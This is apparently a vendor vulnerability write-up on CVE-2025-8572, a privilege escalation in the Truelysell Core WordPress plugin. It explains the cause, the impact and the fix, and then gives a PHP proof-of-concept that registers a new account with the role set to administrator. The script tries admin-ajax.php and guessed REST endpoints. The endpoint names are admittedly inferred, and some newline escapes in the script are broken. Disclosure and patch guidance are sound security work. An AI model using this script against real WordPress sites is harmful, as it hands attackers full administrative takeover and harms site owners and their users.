Atomic Edge analysis of CVE-2025-8572 (metadata-based):
The Truelysell Core WordPress plugin contains an unauthenticated privilege escalation vulnerability in versions up to and including 1.8.7. The vulnerability exists in the user registration functionality, allowing attackers to assign arbitrary user roles during account creation. This bypasses the plugin’s intended role assignment logic, enabling direct administrator account registration without authentication.
Atomic Edge research identifies the root cause as improper privilege management (CWE-269). The plugin’s registration handler fails to validate or sanitize the user_role parameter submitted during account creation. This lack of validation allows attackers to override default role assignments. The vulnerability description confirms insufficient parameter validation, but the exact code location (AJAX handler, REST endpoint, or custom registration form) is inferred from WordPress plugin patterns rather than confirmed via source code review.
Exploitation involves sending a crafted HTTP request to the plugin’s registration endpoint. Attackers would target either a custom registration page or an AJAX handler. A typical payload includes parameters like username, email, password, and a malicious user_role parameter set to administrator or another elevated role. The request likely targets /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific registration hook such as truelysell_core_register_user. Alternatively, the plugin may expose a custom REST API endpoint for registration.
Remediation requires implementing proper role validation during user registration. The patched version should validate the submitted user_role parameter against an allow list of permitted roles. The plugin must enforce default role assignment for unauthenticated registrations, ignoring any client-supplied role parameter. WordPress core functions like add_user_meta() or wp_insert_user() should receive only validated, sanitized role data.
Successful exploitation grants attackers administrative access to the WordPress site. Attackers can create, modify, or delete any content, install malicious plugins or themes, execute arbitrary code via plugin/theme editors, exfiltrate sensitive data, and maintain persistent backdoor access. The CVSS 9.8 score reflects the attack’s network accessibility, low complexity, and complete compromise of confidentiality, integrity, and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-8572 - Truelysell Core <= 1.8.7 - Unauthenticated Privilege Escalation via Registration
<?php
/**
* Proof of Concept for CVE-2025-8572
* Assumptions based on WordPress plugin patterns:
* 1. The plugin uses an AJAX handler for registration (common pattern)
* 2. The vulnerable parameter is 'user_role' (from description)
* 3. The AJAX action contains the plugin slug 'truelysell_core'
* 4. Administrator role slug is 'administrator' (WordPress default)
*/
$target_url = 'https://vulnerable-site.com';
// Common WordPress AJAX registration endpoints
$endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-json/truelysell-core/v1/register', // Inferred REST endpoint
'/wp-json/truelysell/v1/register'
];
$username = 'atomic_edge_admin_' . bin2hex(random_bytes(4));
$email = $username . '@example.com';
$password = 'AtomicEdgeP0C!' . bin2hex(random_bytes(4));
foreach ($endpoints as $endpoint) {
$url = $target_url . $endpoint;
// Attempt AJAX handler pattern
if (strpos($endpoint, 'admin-ajax.php') !== false) {
$post_data = [
'action' => 'truelysell_core_register_user',
'username' => $username,
'email' => $email,
'password' => $password,
'user_role' => 'administrator', // Malicious parameter
'confirm_password' => $password
];
} else {
// Attempt REST API pattern
$post_data = [
'username' => $username,
'email' => $email,
'password' => $password,
'user_role' => 'administrator',
'confirm_password' => $password
];
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing endpoint: $urln";
echo "HTTP Code: $http_coden";
echo "Response: $responsenn";
curl_close($ch);
// Check for success indicators
if (strpos($response, 'success') !== false ||
strpos($response, 'user_id') !== false ||
strpos($response, 'registration') !== false) {
echo "[+] Potential success! Check user '$username' with role 'administrator'.n";
break;
}
}
?>
